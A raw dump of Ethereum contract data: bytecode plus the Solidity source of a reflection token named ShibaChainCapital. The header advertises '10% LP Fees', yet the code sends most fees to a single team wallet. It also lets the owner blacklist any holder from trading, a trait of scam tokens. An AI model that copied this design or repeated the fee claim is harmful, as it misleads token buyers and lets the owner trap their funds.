b63ffffffff908116825261ffff80881660208085019190915260ff808716604080870191909152600060609687018190526001805467ffffffffffffffff68010000000000000000918290048116845260028088528585208c51815473ffffffffffffffffffffffffffffffffffffffff9182167fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178355998e0151828701558d8801519282018054939091169290991691909117909755988a01516003909601805460808c015160a08d015160c08e015160e08f01516101009f909f015115157f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9f909a167e01000000000000000000000000000000000000000000000000000000000000029e909e167dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9e909b167c0100000000000000000000000000000000000000000000000000000000027fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff91909c16780100000000000000000000000000000000000000000000000002167fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff918d16700100000000000000000000000000000000027fffffffffffffffff0000000000000000000000000000000000000000000000009093166fffffffffffffffffffffffffffffffff909a1699909917919091171696909617979097179890981694909417919091179091559354935191909304909116917fad106b1eab2729cc81f3a2c7a0ab8f2feb5e8aacece9e89f30e204eae329220191a26001805468010000000000000000900467ffffffffffffffff16906008611a2a83612140565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050505050565b6000611a7982606001516fffffffffffffffffffffffffffffffff16151590565b611a8f57506080015167ffffffffffffffff1690565b60006064611a9e600a82612168565b63ffffffff168460600151611ab39190612190565b611abd91906121c8565b9050826080015167ffffffffffffffff16836060015182611ade919061221e565b6fffffffffffffffffffffffffffffffff1610611afb5780611b19565b826080015167ffffffffffffffff168360600151611b19919061224f565b9392505050565b6003810154600090611b5790610384907801000000000000000000000000000000000000000000000000900463ffffffff1661227a565b63ffffffff1690504267ffffffffffffffff8116821015611c0e57611b7e61038482612297565b6003840180547fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff16780100000000000000000000000000000000000000000000000063ffffffff9384168102919091179182905560405191049091169067ffffffffffffffff8616907fb4a60ebc2cf1c50677776bb7f2aea10caa932a042d60d2ac4697ef6d9cb8afb090600090a35b50505050565b6000815160001415611c2857506000919050565b600882511115611c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f746f55696e7436345f6f75744f66426f756e6473000000000000000000000000604482015260640161058e565b506008015190565b600060208284031215611cae57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461170f57600080fd5b73ffffffffffffffffffffffffffffffffffffffff811681146105d857600080fd5b60008083601f840112611d1257600080fd5b50813567ffffffffffffffff811115611d2a57600080fd5b602083019150836020828501011115611d4257600080fd5b9250929050565b600080600080600060808688031215611d6157600080fd5b8535611d6c81611cde565b94506020860135611d7c81611cde565b935060408601359250606086013567ffffffffffffffff811115611d9f57600080fd5b611dab88828901611d00565b969995985093965092949392505050565b67ffffffffffffffff811681146105d857600080fd5b600060208284031215611de457600080fd5b813561170f81611dbc565b60008083601f840112611e0157600080fd5b50813567ffffffffffffffff811115611e1957600080fd5b6020830191508360208260051b8501011115611d4257600080fd5b60008060008060008060008060a0898b031215611e5057600080fd5b8835611e5b81611cde565b97506020890135611e6b81611cde565b9650604089013567ffffffffffffffff80821115611e8857600080fd5b611e948c838d01611def565b909850965060608b0135915080821115611ead57600080fd5b611eb98c838d01611def565b909650945060808b0135915080821115611ed257600080fd5b50611edf8b828c01611d00565b999c989b5096995094979396929594505050565b60008060008060008060a08789031215611f0c57600080fd5b8635611f1781611cde565b95506020870135611f2781611cde565b94506040870135935060608701359250608087013567ffffffffffffffff811115611f5157600080fd5b611f5d89828a01611d00565b979a9699509497509295939492505050565b600060208284031215611f8157600080fd5b813561170f81611cde565b805161ffff81168114611f9e57600080fd5b919050565b805160ff81168114611f9e57600080fd5b80518015158114611f9e57600080fd5b60008060008060008060008060006101208a8c031215611fe357600080fd5b8951611fee81611cde565b60208b015160408c0151919a50985061200681611cde565b60608b01519097506fffffffffffffffffffffffffffffffff8116811461202c57600080fd5b60808b015190965061203d81611dbc565b60a08b015190955063ffffffff8116811461205757600080fd5b935061206560c08b01611f8c565b925061207360e08b01611fa3565b91506120826101008b01611fb4565b90509295985092959850929598565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612121576121216120c0565b5060010190565b6000821982111561213b5761213b6120c0565b500190565b600067ffffffffffffffff8083168181141561215e5761215e6120c0565b6001019392505050565b600063ffffffff808316818516808303821115612187576121876120c0565b01949350505050565b60006fffffffffffffffffffffffffffffffff808316818516818304811182151516156121bf576121bf6120c0565b02949350505050565b60006fffffffffffffffffffffffffffffffff80841680612212577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b92169190910492915050565b60006fffffffffffffffffffffffffffffffff83811690831681811015612247576122476120c0565b039392505050565b60006fffffffffffffffffffffffffffffffff808316818516808303821115612187576121876120c0565b600063ffffffff83811690831681811015612247576122476120c0565b600067ffffffffffffffff808316818516808303821115612187576121876120c056fea264697066735822122076634fbb43c741e6be5c5dfbdcda0b34b083784fabe1f3a246106c47987d2f6064736f6c634300080b0033
[ 13 ]
0xf387ef2ffd679cf0657854a26ff3640f9c463518
/** Shiba Chain Capital - 10% LP Fees **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibaChainCapital is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "ShibaChainCapital"; string private constant _symbol = "SCC"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x8c75F366DC18fbfa0259867f712C422126b63E9c); _feeAddrWallet2 = payable(0x8c75F366DC18fbfa0259867f712C422126b63E9c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063ff872602146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612ba2565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612734565b61044c565b6040516101789190612b87565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612d04565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906126e5565b61047b565b6040516101e09190612b87565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612657565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612d79565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127b1565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612657565b610771565b6040516102b19190612d04565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f39190612ab9565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612ba2565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612734565b61097b565b60405161035b9190612b87565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612770565b610999565b005b34801561039957600080fd5b506103a2610ae9565b005b3480156103b057600080fd5b506103b9610b63565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126a9565b6110c0565b6040516103ef9190612d04565b60405180910390f35b34801561040457600080fd5b5061040d611147565b005b60606040518060400160405280601181526020017f5368696261436861696e4361706974616c000000000000000000000000000000815250905090565b60006104606104596111ee565b84846111f6565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104888484846113c1565b610549846104946111ee565b610544856040518060600160405280602881526020016133eb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c69092919063ffffffff16565b6111f6565b600190509392505050565b61055c6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612c64565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612c64565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111ee565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611a2a565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b25565b9050919050565b6107ca6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612c64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5343430000000000000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111ee565b84846113c1565b6001905092915050565b6109a16111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612c64565b60405180910390fd5b60005b8151811015610ae557600160066000848481518110610a79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610add9061301a565b915050610a31565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6111ee565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a57600080fd5b6000610b5530610771565b9050610b6081611b93565b50565b610b6b6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90612c64565b60405180910390fd5b600f60149054906101000a900460ff1615610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90612ce4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111f6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1e57600080fd5b505afa158015610d32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d569190612680565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610db857600080fd5b505afa158015610dcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df09190612680565b6040518363ffffffff1660e01b8152600401610e0d929190612ad4565b602060405180830381600087803b158015610e2757600080fd5b505af1158015610e3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5f9190612680565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ee830610771565b600080610ef3610915565b426040518863ffffffff1660e01b8152600401610f1596959493929190612b26565b6060604051808303818588803b158015610f2e57600080fd5b505af1158015610f42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f679190612803565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106a929190612afd565b602060405180830381600087803b15801561108457600080fd5b505af1158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc91906127da565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61114f6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612c64565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90612cc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612c04565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b49190612d04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612ca4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612bc4565b60405180910390fd5b600081116114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612c84565b60405180910390fd5b6001600a819055506008600b819055506114fc610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156a575061153a610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116135750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117355750600f60179054906101000a900460ff165b156117e55760105481111561174957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179457600080fd5b601e426117a19190612e3a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118905750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118fc576001600a819055506008600b819055505b600061190730610771565b9050600f60159054906101000a900460ff161580156119745750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198c5750600f60169054906101000a900460ff165b156119b45761199a81611b93565b600047905060008111156119b2576119b147611a2a565b5b505b505b6119c1838383611e8d565b505050565b6000838311158290611a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a059190612ba2565b60405180910390fd5b5060008385611a1d9190612f1b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a7a600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611aa5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611af6600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b21573d6000803e3d6000fd5b5050565b6000600854821115611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390612be4565b60405180910390fd5b6000611b76611ee7565b9050611b8b8184611e9d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bf1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c1f5781602001602082028036833780820191505090505b5090503081600081518110611c5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cff57600080fd5b505afa158015611d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d379190612680565b81600181518110611d71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111f6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e3c959493929190612d1f565b600060405180830381600087803b158015611e5657600080fd5b505af1158015611e6a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e98838383611f12565b505050565b6000611edf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120dd565b905092915050565b6000806000611ef4612140565b91509150611f0b8183611e9d90919063ffffffff16565b9250505090565b600080600080600080611f24876121a2565b955095509550955095509550611f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061201785600260008b73ffffffffffffffffff